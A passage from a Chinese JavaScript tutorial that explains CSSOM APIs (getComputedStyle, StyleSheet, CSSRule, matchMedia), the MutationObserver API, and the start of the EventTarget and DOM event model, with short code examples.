上面代码中，得到的背景色就是 `div` 元素真正的背景色。

注意，CSSStyleDeclaration 实例是一个活的对象，任何对于样式的修改，会实时反映到这个实例上面。另外，这个实例是只读的。

`getComputedStyle` 方法还可以接受第二个参数，表示当前元素的伪元素（比如 `:before`、`:after`、`:first-line`、`:first-letter` 等）。

```js
var result = window.getComputedStyle(div, ':before');
```

下面的例子是如何获取元素的高度。

```js
var elem = document.getElementById('elem-container');
var styleObj = window.getComputedStyle(elem, null)
var height = styleObj.height;
// 等同于
var height = styleObj['height'];
var height = styleObj.getPropertyValue('height');
```

上面代码得到的 `height` 属性，是浏览器最终渲染出来的高度，比其他方法得到的高度更可靠。由于 `styleObj` 是 CSSStyleDeclaration 实例，所以可以使用各种 CSSStyleDeclaration 的实例属性和方法。

有几点需要注意。

* CSSStyleDeclaration 实例返回的 CSS 值都是绝对单位。比如，长度都是像素单位（返回值包括 `px` 后缀），颜色是 `rgb(#, #, #)` 或 `rgba(#, #, #, #)` 格式。
* CSS 规则的简写形式无效。比如，想读取 `margin` 属性的值，不能直接读，只能读 `marginLeft`、`marginTop` 等属性；再比如，`font` 属性也是不能直接读的，只能读 `font-size` 等单个属性。
* 如果读取 CSS 原始的属性名，要用方括号运算符，比如 `styleObj['z-index']`；如果读取骆驼拼写法的 CSS 属性名，可以直接读取 `styleObj.zIndex`。
* 该方法返回的 CSSStyleDeclaration 实例的 `cssText` 属性总是返回空字符串。

### CSS 伪元素

CSS 伪元素是通过 CSS 向 DOM 添加的元素，主要是通过 `:before` 和 `:after` 选择器生成，然后用 `content` 属性指定伪元素的内容。

下面是一段 HTML 代码。

CSS 添加伪元素 `:before` 的写法如下。

```js
#test:before {
  content: 'Before ';
  color: #FF0;
}
```

节点元素的 `style` 对象无法读写伪元素的样式，这时就要用到 `window.getComputedStyle()`。JavaScript 获取伪元素，可以使用下面的方法。

```js
var test = document.querySelector('#test');

var result = window.getComputedStyle(test, ':before').content;
var color = window.getComputedStyle(test, ':before').color;
```

此外，也可以使用 CSSStyleDeclaration 实例的 `getPropertyValue` 方法，获取伪元素的属性。

```js
var result = window.getComputedStyle(test, ':before')
  .getPropertyValue('content');
var color = window.getComputedStyle(test, ':before')
  .getPropertyValue('color');
```

### StyleSheet 接口

`StyleSheet` 接口代表网页的一张样式表，包括 `<link>` 元素加载的样式表和 `<style>` 元素内嵌的样式表。

`document` 对象的 `styleSheets` 属性，可以返回当前页面的所有 `StyleSheet` 实例（即所有样式表）。它是一个类似数组的对象。

```js
var sheets = document.styleSheets;
var sheet = document.styleSheets[0];
sheet instanceof StyleSheet // true
```

如果是 `<style>` 元素嵌入的样式表，还有另一种获取 `StyleSheet` 实例的方法，就是这个节点元素的 `sheet` 属性。

```js
// HTML 代码为 <style id="myStyle"> </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
myStyleSheet instanceof StyleSheet // true
```

严格地说，`StyleSheet` 接口不仅包括网页样式表，还包括 XML 文档的样式表。

所以，它有一个子类 `CSSStyleSheet` 表示网页的 CSS 样式表。我们在网页里面拿到的样式表实例，实际上是 `CSSStyleSheet` 的实例。这个子接口继承了 `StyleSheet` 的所有属性和方法，并且定义了几个自己的属性，下面把这两个接口放在一起介绍。

#### 实例属性

##### StyleSheet.disabled

`StyleSheet.disabled` 返回一个布尔值，表示该样式表是否处于禁用状态。手动设置 `disabled` 属性为 `true`，等同于在 `<link>` 元素里面，将这张样式表设为 `alternate stylesheet`，即该样式表将不会生效。

注意，`disabled` 属性只能在 JavaScript 脚本中设置，不能在 HTML 语句中设置。

##### StyleSheet.href

`StyleSheet.href` 返回样式表的网址。对于内嵌样式表，该属性返回 `null`。该属性只读。

```js
document.styleSheets[0].href
```

##### StyleSheet.media

`StyleSheet.media` 属性返回一个类似数组的对象（`MediaList` 实例），成员是表示适用媒介的字符串。表示当前样式表是用于屏幕（screen），还是用于打印（print）或手持设备（handheld），或各种媒介都适用（all）。该属性只读，默认值是 `screen`。

```js
document.styleSheets[0].media.mediaText
// "all"
```

`MediaList` 实例的 `appendMedium` 方法，用于增加媒介；`deleteMedium` 方法用于删除媒介。

```js
document.styleSheets[0].media.appendMedium('handheld');
document.styleSheets[0].media.deleteMedium('print');
```

##### StyleSheet.title

`StyleSheet.title` 属性返回样式表的 `title` 属性。

##### StyleSheet.type

`StyleSheet.type` 属性返回样式表的 `type` 属性，通常是 `text/css`。

```js
document.styleSheets[0].type  // "text/css"
```

##### StyleSheet.parentStyleSheet

CSS 的 `@import` 命令允许在样式表中加载其他样式表。`StyleSheet.parentStyleSheet` 属性返回包含了当前样式表的那张样式表。如果当前样式表是顶层样式表，则该属性返回 `null`。

```js
if (stylesheet.parentStyleSheet) {
  sheet = stylesheet.parentStyleSheet;
} else {
  sheet = stylesheet;
}
```

##### StyleSheet.ownerNode

`StyleSheet.ownerNode` 属性返回 `StyleSheet` 对象所在的 DOM 节点，通常是 `<link>` 或 `<style>`。对于那些由其他样式表引用的样式表，该属性为 `null`。

```js
// HTML 代码为
// <link rel="StyleSheet" href="example.css" type="text/css" />
document.styleSheets[0].ownerNode // [object HTMLLinkElement]
```

##### CSSStyleSheet.cssRules

`CSSStyleSheet.cssRules` 属性指向一个类似数组的对象（`CSSRuleList` 实例），里面每一个成员就是当前样式表的一条 CSS 规则。使用该规则的 `cssText` 属性，可以得到 CSS 规则对应的字符串。

```js
var sheet = document.querySelector('#styleElement').sheet;

sheet.cssRules[0].cssText
// "body { background-color: red; margin: 20px; }"

sheet.cssRules[1].cssText
// "p { line-height: 1.4em; color: blue; }"
```

每条 CSS 规则还有一个 `style` 属性，指向一个对象，用来读写具体的 CSS 命令。

```js
cssStyleSheet.cssRules[0].style.color = 'red';
cssStyleSheet.cssRules[1].style.color = 'purple';
```

##### CSSStyleSheet.ownerRule

有些样式表是通过 `@import` 规则输入的，它的 `ownerRule` 属性会返回一个 `CSSRule` 实例，代表那行 `@import` 规则。如果当前样式表不是通过 `@import` 引入的，`ownerRule` 属性返回 `null`。

#### 实例方法

##### CSSStyleSheet.insertRule()

`CSSStyleSheet.insertRule` 方法用于在当前样式表的插入一个新的 CSS 规则。

```js
var sheet = document.querySelector('#styleElement').sheet;
sheet.insertRule('#block { color: white }', 0);
sheet.insertRule('p { color: red }', 1);
```

该方法可以接受两个参数，第一个参数是表示 CSS 规则的字符串，这里只能有一条规则，否则会报错。第二个参数是该规则在样式表的插入位置（从 0 开始），该参数可选，默认为 0（即默认插在样式表的头部）。注意，如果插入位置大于现有规则的数目，会报错。

该方法的返回值是新插入规则的位置序号。

注意，浏览器对脚本在样式表里面插入规则有很多 [限制](https://drafts.csswg.org/cssom/#insert-a-css-rule)。所以，这个方法最好放在 `try...catch` 里使用。

##### CSSStyleSheet.deleteRule()

`CSSStyleSheet.deleteRule` 方法用来在样式表里面移除一条规则，它的参数是该条规则在 `cssRules` 对象中的位置。该方法没有返回值。

```js
document.styleSheets[0].deleteRule(1);
```

### 实例：添加样式表

网页添加样式表有两种方式。一种是添加一张内置样式表，即在文档中添加一个 `<style>` 节点。

```js
// 写法一
var style = document.createElement('style');
style.setAttribute('media', 'screen');
style.innerHTML = 'body{color:red}';
document.head.appendChild(style);

// 写法二
var style = (function () {
  var style = document.createElement('style');
  document.head.appendChild(style);
  return style;
})();
style.sheet.insertRule('.foo{color:red;}', 0);
```

另一种是添加外部样式表，即在文档中添加一个 `<link>` 节点，然后将 `href` 属性指向外部样式表的 URL。

```js
var linkElm = document.createElement('link');
linkElm.setAttribute('rel', 'stylesheet');
linkElm.setAttribute('type', 'text/css');
linkElm.setAttribute('href', 'reset-min.css');

document.head.appendChild(linkElm);
```

### CSSRuleList 接口

CSSRuleList 接口是一个类似数组的对象，表示一组 CSS 规则，成员都是 CSSRule 实例。

获取 CSSRuleList 实例，一般是通过 `StyleSheet.cssRules` 属性。

```js
// HTML 代码如下
// <style id="myStyle">
//   h1 { color: red; }
//   p { color: blue; }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var crl = myStyleSheet.cssRules;
crl instanceof CSSRuleList // true
```

CSSRuleList 实例里面，每一条规则（CSSRule 实例）可以通过 `rules.item(index)` 或者 `rules[index]` 拿到。CSS 规则的条数通过 `rules.length` 拿到。还是用上面的例子。

```js
crl[0] instanceof CSSRule // true
crl.length // 2
```

注意，添加规则和删除规则不能在 CSSRuleList 实例操作，而要在它的父元素 StyleSheet 实例上，通过 `StyleSheet.insertRule()` 和 `StyleSheet.deleteRule()` 操作。

### CSSRule 接口

一条 CSS 规则包括两个部分：CSS 选择器和样式声明。下面就是一条典型的 CSS 规则。

```css
.myClass {
  color: red;
  background-color: yellow;
}
```

JavaScript 通过 CSSRule 接口操作 CSS 规则。一般通过 CSSRuleList 接口（`StyleSheet.cssRules`）获取 CSSRule 实例。

```js
// HTML 代码如下
// <style id="myStyle">
//   .myClass {
//     color: red;
//     background-color: yellow;
//   }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var ruleList = myStyleSheet.cssRules;
var rule = ruleList[0];
rule instanceof CSSRule // true
```

#### 实例属性

##### CSSRule.cssText

`CSSRule.cssText` 属性返回当前规则的文本，还是使用上面的例子。

```js
rule.cssText
// ".myClass { color: red; background-color: yellow; }"
```

如果规则是加载（`@import`）其他样式表，`cssText` 属性返回 `@import 'url'`。

##### CSSRule.parentStyleSheet

`CSSRule.parentStyleSheet` 属性返回当前规则所在的样式表对象（StyleSheet 实例），还是使用上面的例子。

```js
rule.parentStyleSheet === myStyleSheet // true
```

##### CSSRule.parentRule

`CSSRule.parentRule` 属性返回包含当前规则的父规则，如果不存在父规则（即当前规则是顶层规则），则返回 `null`。

父规则最常见的情况是，当前规则包含在 `@media` 规则代码块之中。

```js
// HTML 代码如下
// <style id="myStyle">
//   @supports (display: flex) {
//     @media screen and (min-width: 900px) {
//       article {
//         display: flex;
//       }
//     }
//  }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var ruleList = myStyleSheet.cssRules;

var rule0 = ruleList[0];
rule0.cssText
// "@supports (display: flex) {
//    @media screen and (min-width: 900px) {
//      article { display: flex; }
//    }
// }"

// 由于这条规则内嵌其他规则，
// 所以它有 cssRules 属性，且该属性是 CSSRuleList 实例
rule0.cssRules instanceof CSSRuleList // true

var rule1 = rule0.cssRules[0];
rule1.cssText
// "@media screen and (min-width: 900px) {
//   article { display: flex; }
// }"

var rule2 = rule1.cssRules[0];
rule2.cssText
// "article { display: flex; }"

rule1.parentRule === rule0 // true
rule2.parentRule === rule1 // true
```

##### CSSRule.type

`CSSRule.type` 属性返回一个整数值，表示当前规则的类型。

最常见的类型有以下几种。

* 1：普通样式规则（CSSStyleRule 实例）
* 3：`@import` 规则
* 4：`@media` 规则（CSSMediaRule 实例）
* 5：`@font-face` 规则

#### CSSStyleRule 接口

如果一条 CSS 规则是普通的样式规则（不含特殊的 CSS 命令），那么除了 CSSRule 接口，它还部署了 CSSStyleRule 接口。

CSSStyleRule 接口有以下两个属性。

##### CSSStyleRule.selectorText

`CSSStyleRule.selectorText` 属性返回当前规则的选择器。

```js
var stylesheet = document.styleSheets[0];
stylesheet.cssRules[0].selectorText // ".myClass"
```

注意，这个属性是可写的。

##### CSSStyleRule.style

`CSSStyleRule.style` 属性返回一个对象（CSSStyleDeclaration 实例），代表当前规则的样式声明，也就是选择器后面的大括号里面的部分。

```js
// HTML 代码为
// <style id="myStyle">
//   p { color: red; }
// </style>
var styleSheet = document.getElementById('myStyle').sheet;
styleSheet.cssRules[0].style instanceof CSSStyleDeclaration
// true
```

CSSStyleDeclaration 实例的 `cssText` 属性，可以返回所有样式声明，格式为字符串。

```js
styleSheet.cssRules[0].style.cssText
// "color: red;"
styleSheet.cssRules[0].selectorText
// "p"
```

#### CSSMediaRule 接口

如果一条 CSS 规则是 `@media` 代码块，那么它除了 CSSRule 接口，还部署了 CSSMediaRule 接口。

该接口主要提供 `media` 属性和 `conditionText` 属性。前者返回代表 `@media` 规则的一个对象（MediaList 实例），后者返回 `@media` 规则的生效条件。

```js
// HTML 代码如下
// <style id="myStyle">
//   @media screen and (min-width: 900px) {
//     article { display: flex; }
//   }
// </style>
var styleSheet = document.getElementById('myStyle').sheet;
styleSheet.cssRules[0] instanceof CSSMediaRule
// true

styleSheet.cssRules[0].media
//  {
//    0: "screen and (min-width: 900px)",
//    appendMedium: function,
//    deleteMedium: function,
//    item: function,
//    length: 1,
//    mediaText: "screen and (min-width: 900px)"
// }

styleSheet.cssRules[0].conditionText
// "screen and (min-width: 900px)"
```

### window.matchMedia()

`window.matchMedia()` 方法用来将 CSS 的 [`Media Query`](https://developer.mozilla.org/en-US/docs/DOM/Using_media_queries_from_code) 条件语句，转换成一个 MediaQueryList 实例。

```js
var mdl = window.matchMedia('(min-width: 400px)');
mdl instanceof MediaQueryList // true
```

上面代码中，变量 `mdl` 就是 mediaQueryList 的实例。

注意，如果参数不是有效的 `MediaQuery` 条件语句，`window.matchMedia` 不会报错，依然返回一个 MediaQueryList 实例。

```js
window.matchMedia('bad string') instanceof MediaQueryList // true
```

#### MediaQueryList 实例属性

MediaQueryList 实例有三个属性。

##### MediaQueryList.media

`MediaQueryList.media` 属性返回一个字符串，表示对应的 MediaQuery 条件语句。

```js
var mql = window.matchMedia('(min-width: 400px)');
mql.media // "(min-width: 400px)"
```

##### MediaQueryList.matches

`MediaQueryList.matches` 属性返回一个布尔值，表示当前页面是否符合指定的 MediaQuery 条件语句。

```js
if (window.matchMedia('(min-width: 400px)').matches) {
  /* 当前视口不小于 400 像素 */
} else {
  /* 当前视口小于 400 像素 */
}
```

下面的例子根据 `mediaQuery` 是否匹配当前环境，加载相应的 CSS 样式表。

```js
var result = window.matchMedia("(max-width: 700px)");

if (result.matches){
  var linkElm = document.createElement('link');
  linkElm.setAttribute('rel', 'stylesheet');
  linkElm.setAttribute('type', 'text/css');
  linkElm.setAttribute('href', 'small.css');

  document.head.appendChild(linkElm);
}
```

##### MediaQueryList.onchange

如果 MediaQuery 条件语句的适配环境发生变化，会触发 `change` 事件。`MediaQueryList.onchange` 属性用来指定 `change` 事件的监听函数。该函数的参数是 `change` 事件对象（MediaQueryListEvent 实例），该对象与 MediaQueryList 实例类似，也有 `media` 和 `matches` 属性。

```js
var mql = window.matchMedia('(max-width: 600px)');

mql.onchange = function(e) {
  if (e.matches) {
    /* 视口不超过 600 像素 */
  } else {
    /* 视口超过 600 像素 */
  }
}
```

上面代码中，`change` 事件发生后，存在两种可能。一种是显示宽度从 600 像素以上变为以下，另一种是从 600 像素以下变为以上，所以在监听函数内部要判断一下当前是哪一种情况。

#### MediaQueryList 实例方法

MediaQueryList 实例有两个方法 `MediaQueryList.addListener()` 和 `MediaQueryList.removeListener()`，用来为 `change` 事件添加或撤销监听函数。

```js
var mql = window.matchMedia('(max-width: 600px)');

// 指定监听函数
mql.addListener(mqCallback);

// 撤销监听函数
mql.removeListener(mqCallback);

function mqCallback(e) {
  if (e.matches) {
    /* 视口不超过 600 像素 */
  } else {
    /* 视口超过 600 像素 */
  }
}
```

注意，`MediaQueryList.removeListener()` 方法不能撤销 `MediaQueryList.onchange` 属性指定的监听函数。

## Mutation Observer

Mutation Observer API 用来监视 DOM 变动。DOM 的任何变动，比如节点的增减、属性的变动、文本内容的变动，这个 API 都可以得到通知。

概念上，它很接近事件，可以理解为 DOM 发生变动就会触发 Mutation Observer 事件。但是，它与事件有一个本质不同：事件是同步触发，也就是说，DOM 的变动立刻会触发相应的事件；Mutation Observer 则是异步触发，DOM 的变动并不会马上触发，而是要等到当前所有 DOM 操作都结束才触发。

这样设计是为了应付 DOM 变动频繁的特点。举例来说，如果文档中连续插入 1000 个 `<p>` 元素，就会连续触发 1000 个插入事件，执行每个事件的回调函数，这很可能造成浏览器的卡顿；而 Mutation Observer 完全不同，只在 1000 个段落都插入结束后才会触发，而且只触发一次。

Mutation Observer 有以下特点。

* 它等待所有脚本任务完成后，才会运行（即异步触发方式）。
* 它把 DOM 变动记录封装成一个数组进行处理，而不是一条条个别处理 DOM 变动。
* 它既可以观察 DOM 的所有类型变动，也可以指定只观察某一类变动。

### 构造函数

使用时，首先使用`MutationObserver`构造函数，新建一个观察器实例，同时指定这个实例的回调函数。

```js
var observer = new MutationObserver(callback);
```

上面代码中的回调函数，会在每次 DOM 变动后调用。该回调函数接受两个参数，第一个是变动数组，第二个是观察器实例，下面是一个例子。

```js
var observer = new MutationObserver(function (mutations, observer) {
  mutations.forEach(function(mutation) {
    console.log(mutation);
  });
});
```

### 实例方法

#### observe()

`observe()`方法用来启动监听，它接受两个参数。

* 第一个参数：所要观察的 DOM 节点
* 第二个参数：一个配置对象，指定所要观察的特定变动

```js
var article = document.querySelector('article');

var options = {
  'childList': true,
  'attributes':true
} ;

observer.observe(article, options);
```

上面代码中，`observe()`方法接受两个参数，第一个是所要观察的DOM元素是`article`，第二个是所要观察的变动类型（子节点变动和属性变动）。

观察器所能观察的 DOM 变动类型（即上面代码的`options`对象），有以下几种。

* **childList**：子节点的变动（指新增，删除或者更改）。
* **attributes**：属性的变动。
* **characterData**：节点内容或节点文本的变动。

想要观察哪一种变动类型，就在`option`对象中指定它的值为`true`。需要注意的是，至少必须同时指定这三种观察的一种，若均未指定将报错。

除了变动类型，`options`对象还可以设定以下属性：

* `subtree`：布尔值，表示是否将该观察器应用于该节点的所有后代节点。
* `attributeOldValue`：布尔值，表示观察`attributes`变动时，是否需要记录变动前的属性值。
* `characterDataOldValue`：布尔值，表示观察`characterData`变动时，是否需要记录变动前的值。
* `attributeFilter`：数组，表示需要观察的特定属性（比如`['class','src']`）。

```js
// 开始监听文档根节点（即<html>标签）的变动
mutationObserver.observe(document.documentElement, {
  attributes: true,
  characterData: true,
  childList: true,
  subtree: true,
  attributeOldValue: true,
  characterDataOldValue: true
});
```

对一个节点添加观察器，就像使用`addEventListener()`方法一样，多次添加同一个观察器是无效的，回调函数依然只会触发一次。如果指定不同的`options`对象，以后面添加的那个为准，类似覆盖。

下面的例子是观察新增的子节点。

```js
var insertedNodes = [];
var observer = new MutationObserver(function(mutations) {
  mutations.forEach(function(mutation) {
    for (var i = 0; i < mutation.addedNodes.length; i++) {
      insertedNodes.push(mutation.addedNodes[i]);
    }
  });
  console.log(insertedNodes);
});
observer.observe(document, { childList: true, subtree: true });
```

#### disconnect()

#### takeRecords()

`disconnect()`方法用来停止观察。调用该方法后，DOM 再发生变动，也不会触发观察器。

```js
observer.disconnect();
```

`takeRecords()`方法用来清除变动记录，即不再处理未处理的变动。该方法返回变动记录的数组。

```js
observer.takeRecords();
```

下面是一个例子。

```js
// 保存所有没有被观察器处理的变动
var changes = mutationObserver.takeRecords();

// 停止观察
mutationObserver.disconnect();
```

### MutationRecord 对象

DOM 每次发生变化，就会生成一条变动记录（MutationRecord 实例）。该实例包含了与变动相关的所有信息。Mutation Observer 处理的就是一个个`MutationRecord`实例所组成的数组。

`MutationRecord`对象包含了DOM的相关信息，有如下属性：

* `type`：观察的变动类型（`attributes`、`characterData`或者`childList`）。
* `target`：发生变动的DOM节点。
* `addedNodes`：新增的DOM节点。
* `removedNodes`：删除的DOM节点。
* `previousSibling`：前一个同级节点，如果没有则返回`null`。
* `nextSibling`：下一个同级节点，如果没有则返回`null`。
* `attributeName`：发生变动的属性。如果设置了`attributeFilter`，则只返回预先指定的属性。
* `oldValue`：变动前的值。这个属性只对`attribute`和`characterData`变动有效，如果发生`childList`变动，则返回`null`。

### 应用示例

#### 子元素的变动

下面的例子说明如何读取变动记录。

```js
var callback = function (records){
  records.map(function(record){
    console.log('Mutation type: ' + record.type);
    console.log('Mutation target: ' + record.target);
  });
};

var mo = new MutationObserver(callback);

var option = {
  'childList': true,
  'subtree': true
};

mo.observe(document.body, option);
```

上面代码的观察器，观察`<body>`的所有下级节点（`childList`表示观察子节点，`subtree`表示观察后代节点）的变动。回调函数会在控制台显示所有变动的类型和目标节点。

#### 属性的变动

下面的例子说明如何追踪属性的变动。

```js
var callback = function (records) {
  records.map(function (record) {
    console.log('Previous attribute value: ' + record.oldValue);
  });
};

var mo = new MutationObserver(callback);

var element = document.getElementById('#my_element');

var options = {
  'attributes': true,
  'attributeOldValue': true
}

mo.observe(element, options);
```

上面代码先设定追踪属性变动（`'attributes': true`），然后设定记录变动前的值。实际发生变动时，会将变动前的值显示在控制台。

#### 取代 DOMContentLoaded 事件

网页加载的时候，DOM 节点的生成会产生变动记录，因此只要观察 DOM 的变动，就能在第一时间触发相关事件，也就没有必要使用`DOMContentLoaded`事件。

```js
var observer = new MutationObserver(callback);
observer.observe(document.documentElement, {
  childList: true,
  subtree: true
});
```

上面代码中，监听`document.documentElement`（即网页的`<html>`HTML 节点）的子节点的变动，`subtree`属性指定监听还包括后代节点。因此，任意一个网页元素一旦生成，就能立刻被监听到。

下面的代码，使用`MutationObserver`对象封装一个监听 DOM 生成的函数。

```js
(function(win){
  'use strict';

  var listeners = [];
  var doc = win.document;
  var MutationObserver = win.MutationObserver || win.WebKitMutationObserver;
  var observer;

  function ready(selector, fn){
    // 储存选择器和回调函数
    listeners.push({
      selector: selector,
      fn: fn
    });
    if(!observer){
      // 监听document变化
      observer = new MutationObserver(check);
      observer.observe(doc.documentElement, {
        childList: true,
        subtree: true
      });
    }
    // 检查该节点是否已经在DOM中
    check();
  }

  function check(){
  // 检查是否匹配已储存的节点
    for(var i = 0; i < listeners.length; i++){
      var listener = listeners[i];
      // 检查指定节点是否有匹配
      var elements = doc.querySelectorAll(listener.selector);
      for(var j = 0; j < elements.length; j++){
        var element = elements[j];
        // 确保回调函数只会对该元素调用一次
        if(!element.ready){
          element.ready = true;
          // 对该节点调用回调函数
          listener.fn.call(element, element);
        }
      }
    }
  }

  // 对外暴露ready
  win.ready = ready;

})(this);

// 使用方法
ready('.foo', function(element){
  // ...
});
```

---

---
url: /skill/mq5xksy5/index.md
---
# JS 回顾 9
## EventTarget 接口

事件的本质是程序各个组成部分之间的一种通信方式，也是异步编程的一种实现。DOM 支持大量的事件。

DOM 节点的事件操作（监听和触发），都定义在 `EventTarget` 接口。所有节点对象都部署了这个接口，其他一些需要事件通信的浏览器内置对象（比如，`XMLHttpRequest`、`AudioNode`、`AudioContext`）也部署了这个接口。

该接口主要提供三个实例方法。

* `addEventListener()`：绑定事件的监听函数
* `removeEventListener()`：移除事件的监听函数
* `dispatchEvent()`：触发事件

### EventTarget.addEventListener()

`EventTarget.addEventListener()` 用于在当前节点或对象上（即部署了 EventTarget 接口的对象），定义一个特定事件的监听函数。一旦这个事件发生，就会执行监听函数。该方法没有返回值。

```js
target.addEventListener(type, listener[, useCapture]);
```

该方法接受三个参数。

* `type`：事件名称，大小写敏感。
* `listener`：监听函数。事件发生时，会调用该监听函数。
* `useCapture`：布尔值，如果设为 `true`，表示监听函数将在捕获阶段（capture）触发。该参数可选，默认值为 `false`（监听函数只在冒泡阶段被触发）。

```js
function hello() {
  console.log('Hello world');
}

var button = document.getElementById('btn');
button.addEventListener('click', hello, false);
```

上面代码中，`button` 节点的 `addEventListener()` 方法绑定 `click` 事件的监听函数 `hello()`，该函数只在冒泡阶段触发。

关于参数，有两个地方需要注意。

首先，第二个参数除了监听函数，还可以是一个具有 `handleEvent` 方法的对象，效果与监听函数一样。

```js
buttonElement.addEventListener('click', {
  handleEvent: function (event) {
    console.log('click');
  }
});
```

上面代码中，`addEventListener()` 方法的第二个参数，就是一个具有 `handleEvent()` 方法的对象。

其次，第三个参数除了布尔值 `useCapture`，还可以是一个监听器配置对象，定制事件监听行为。该对象有以下属性。

* `capture`：布尔值，如果设为 `true`，表示监听函数在捕获阶段触发，默认为 `false`，在冒泡阶段触发。
* `once`：布尔值，如果设为 `true`，表示监听函数执行一次就会自动移除，后面将不再监听该事件。该属性默认值为 `false`。
* `passive`：布尔值，设为 `true` 时，表示禁止监听函数调用 `preventDefault()` 方法。如果调用了，浏览器将忽略这个要求，并在控制台输出一条警告。该属性默认值为 `false`。
* `signal`：该属性的值为一个 AbortSignal 对象，为监听器设置了一个信号通道，用来在需要时发出信号，移除监听函数。

下面是 `once` 属性的例子，让监听函数只执行一次。

```js
element.addEventListener('click', function (event) {
  // 只执行一次的代码
}, {once: true});
```

`addEventListener()` 方法可以为针对当前对象的同一个事件，添加多个不同的监听函数。这些函数按照添加顺序触发，即先添加先触发。

如果为同一个事件多次添加同一个监听函数，该函数只会执行一次，多余的添加将自动被去除（不必使用 `removeEventListener()` 方法手动去除）。

```js
function hello() {
  console.log('Hello world');
}

document.addEventListener('click', hello, false);
document.addEventListener('click', hello, false);
```

执行上面代码，点击文档只会输出一行 `Hello world`。

如果希望向监听函数传递参数，可以用匿名函数包装一下监听函数。

```js
function print(x) {
  console.log(x);
}

var el = document.getElementById('div1');
el.addEventListener('click', function () { print('Hello'); }, false);
```

上面代码通过匿名函数，向监听函数 `print` 传递了一个参数。

**监听函数内部的 `this`，指向当前事件所在的那个对象**。

```js
// HTML 代码如下
// <p id="para"> Hello </p>
var para = document.getElementById('para');
para.addEventListener('click', function (e) {
  console.log(this.nodeName); // "P"
}, false);
```

上面代码中，监听函数内部的 `this` 指向事件所在的对象 `para`。

### EventTarget.removeEventListener()

`EventTarget.removeEventListener()` 方法用来移除 `addEventListener()` 方法添加的事件监听函数。该方法没有返回值。

```js
div.addEventListener('click', listener, false);
div.removeEventListener('click', listener, false);
```

`removeEventListener()` 方法的参数，与 `addEventListener()` 方法完全一致。它的第一个参数“事件类型”，大小写敏感。

注意，`removeEventListener()` 方法移除的监听函数，必须是 `addEventListener()` 方法添加的那个监听函数，而且必须在同一个元素节点，否则无效。

```js
div.addEventListener('click', function (e) {}, false);
div.removeEventListener('click', function (e) {}, false);
```

上面代码中，`removeEventListener()` 方法无效，因为监听函数不是同一个匿名函数。

```js
element.addEventListener('mousedown', handleMouseDown, true);
element.removeEventListener("mousedown", handleMouseDown, false);
```

上面代码中，`removeEventListener()` 方法也是无效的，因为第三个参数不一样。

### EventTarget.dispatchEvent()

`EventTarget.dispatchEvent()` 方法在当前节点上触发指定事件，从而触发监听函数的执行。该方法返回一个布尔值，只要有一个监听函数调用了 `Event.preventDefault()`，则返回值为 `false`，否则为 `true`。

```js
target.dispatchEvent(event)
```

`dispatchEvent()` 方法的参数是一个 `Event` 对象的实例。

```js
para.addEventListener('click', hello, false);
var event = new Event('click');
para.dispatchEvent(event);
```

上面代码在当前节点触发了 `click` 事件。

如果 `dispatchEvent()` 方法的参数为空，或者不是一个有效的事件对象，将报错。

下面代码根据 `dispatchEvent()` 方法的返回值，判断事件是否被取消了。

```js
var canceled = !cb.dispatchEvent(event);
if (canceled) {
  console.log('事件取消');
} else {
  console.log('事件未取消');
}
```

## 事件模型

### 监听函数

浏览器的事件模型，就是通过监听函数（listener）对事件做出反应。事件发生后，浏览器监听到了这个事件，就会执行对应的监听函数。这是事件驱动编程模式（event-driven）的主要编程方式。

JavaScript 有三种方法，可以为事件绑定监听函数。

#### HTML 的 on- 属性

HTML 语言允许在元素的属性中，直接定义某些事件的监听代码。

```html
<body onload="doSomething()">
<div onclick="console.log('触发事件')">
```

上面代码为 `body` 节点的 `load` 事件、`div` 节点的 `click` 事件，指定了监听代码。一旦事件发生，就会执行这段代码。

元素的事件监听属性，都是 `on` 加上事件名，比如 `onload` 就是 `on + load`，表示 `load` 事件的监听代码。

注意，这些属性的值是将会执行的代码，而不是一个函数。

```html
<!-- 正确 -->
<body onload="doSomething()">

<!-- 错误 -->
<body onload="doSomething">
```

一旦指定的事件发生，`on-` 属性的值是原样传入 JavaScript 引擎执行。因此如果要执行函数，不要忘记加上一对圆括号。

使用这个方法指定的监听代码，只会在冒泡阶段触发。

```html
<div onclick="console.log(2)">
  <button onclick="console.log(1)">点击</button>
</div>
```

上面代码中，`<button>` 是 `<div>` 的子元素。`<button>` 的 `click` 事件，也会触发 `<div>` 的 `click` 事件。由于 `on-` 属性的监听代码，只在冒泡阶段触发，所以点击结果是先输出 `1`，再输出 `2`，即事件从子元素开始冒泡到父元素。

直接设置 `on-` 属性，与通过元素节点的 `setAttribute` 方法设置 `on-` 属性，效果是一样的。

```js
el.setAttribute('onclick', 'doSomething()');
// 等同于
// <Element onclick="doSomething()">
```

#### 元素节点的事件属性

元素节点对象的事件属性，同样可以指定监听函数。

```js
window.onload = doSomething;

div.onclick = function (event) {
  console.log('触发事件');
};
```

使用这个方法指定的监听函数，也是只会在冒泡阶段触发。

注意，这种方法与 HTML 的 `on-` 属性的差异是，它的值是函数名（`doSomething`），而不像后者，必须给出完整的监听代码（`doSomething()`）。

#### EventTarget.addEventListener()

所有 DOM 节点实例都有 `addEventListener` 方法，用来为该节点定义事件的监听函数。

```js
window.addEventListener('load', doSomething, false);
```

#### 小结

上面三种方法，第一种“HTML 的 on- 属性”，违反了 HTML 与 JavaScript 代码相分离的原则，将两者写在一起，不利于代码分工，因此不推荐使用。

第二种“元素节点的事件属性”的缺点在于，同一个事件只能定义一个监听函数，也就是说，如果定义两次 `onclick` 属性，后一次定义会覆盖前一次。因此，也不推荐使用。

第三种 `EventTarget.addEventListener` 是推荐的指定监听函数的方法。它有如下优点：

* 同一个事件可以添加多个监听函数。
* 能够指定在哪个阶段（捕获阶段还是冒泡阶段）触发监听函数。
* 除了 DOM 节点，其他对象（比如 `window`、`XMLHttpRequest` 等）也有这个接口，它等于是整个 JavaScript 统一的监听函数接口。

### this 的指向

监听函数内部的 `this` 指向触发事件的那个元素节点。

```html
<button id="btn" onclick="console.log(this.id)">点击</button>
```

执行上面代码，点击后会输出 `btn`。

其他两种监听函数的写法，`this` 的指向也是如此。

```js
// HTML 代码如下
// <button id="btn"> 点击 </button>
var btn = document.getElementById('btn');

// 写法一
btn.onclick = function () {
  console.log(this.id);
};

// 写法二
btn.addEventListener(
  'click',
  function (e) {
